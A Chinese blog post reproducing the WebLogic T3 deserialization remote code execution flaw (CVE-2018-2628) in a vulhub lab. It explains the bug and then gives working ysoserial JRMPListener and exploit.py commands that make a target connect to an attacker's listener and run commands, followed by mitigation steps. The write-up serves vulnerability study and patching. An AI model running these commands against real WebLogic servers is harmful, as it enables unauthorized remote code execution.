WebLogic 反序列化远程代码执行漏洞(CVE-2018-2628)

WebLogic 反序列化远程代码执行漏洞(CVE-2018-2628)

漏洞概述:

  • 在 WebLogic 里,攻击者利用其他rmi绕过weblogic黑名单限制,然后在将加载的内容利用readObject解析,从而造成反序列化远程代码执行该漏洞,该漏洞主要由于T3服务触发,所有开放weblogic控制台7001端口,默认会开启T3服务,攻击者发送构造好的T3协议数据,就可以获取目标服务器的权限。

漏洞版本:

 Weblogic 10.3.6.0
 Weblogic 12.1.3.0
 Weblogic 12.2.1.2
 Weblogic 12.2.1.3

基本原理:

  • 序列化:简单来说把对象转换为字节流过程(通过ObjectOutputStream类的writeObject)
  • 反序列化:就是把字节流恢复为对象的过程(通过ObjectInputStream类的readObject()方法)
  • RMI:远程方法调用(Remote Method Invocation)。简单来说,除了该对象本身所在的虚拟机,其他虚拟机也可以调用该对象的方法。
  • JRMP:java远程消息交换协议JRMP(Java Remote Messaging Protocol)

打个比喻就是相当于你在网上买个玩具房子,他不可能直接快递给你邮个房子,先把房子拆开邮走(序列化),然后收到时在拼装成一个房子(反序列化)。在JAVA中,对象的序列化和反序列化被广泛的应用到RMI(远程方法调用)及网络传输中。

漏洞搭建:

https://github.com/vulhub/vulhub/tree/master/weblogic/CVE-2018-2628

漏洞复现:

  • 快速检测利用nmap --script=weblogic-t3-infi.nse
  • 首先需要启动一个JRMP Server,可以利用ysoserial(下载地址:https://github.com/brianwrf/ysoserial/releases/tag/0.0.6-pri-beta)
    利用ysoserial启动一个JRMP Server
java -cp ysoserial-0.0.6-SNAPSHOT-BETA-all.jar ysoserial.exploit.JRMPListener [监听端口] CommonsCollections1 "命令"

在这里插入图片描述

  • 然后利用该exp进行攻击,可见成功上传文件(下载地址:https://www.exploit-db.com/exploits/44553)
python exploit.py [目标ip] [目标port] [ysoserial路径] [JRMPListener ip] [JRMPListener port] [JRMPClient]
    e.g.
       a) python exploit.py 10.0.0.11 7001 ysoserial-0.0.6-SNAPSHOT-BETA-all.jar 10.0.0.5 1099 JRMPClient (Using java.rmi.registry.Registry)
       b) python exploit.py 10.0.0.11 7001 ysoserial-0.0.6-SNAPSHOT-BETA-all.jar 10.0.0.5 1099 JRMPClient2 (Using java.rmi.activation.Activator)

最终构造payload:python exploit.py 172.17.0.1 7001 ysoserial-0.0.6-SNAPSHOT-BETA-all.jar 192.168.2.109 1099 JRMPClient
WebLogic 反序列化远程代码执行漏洞(CVE-2018-2628)_第1张图片

漏洞修复:

  • 关闭T3服务,或控制T3服务的访问权限(临时)。
  • 打官方补丁。

ps:余生很长,请多指教。
在这里插入图片描述

你可能感兴趣的:(CVE,中间件)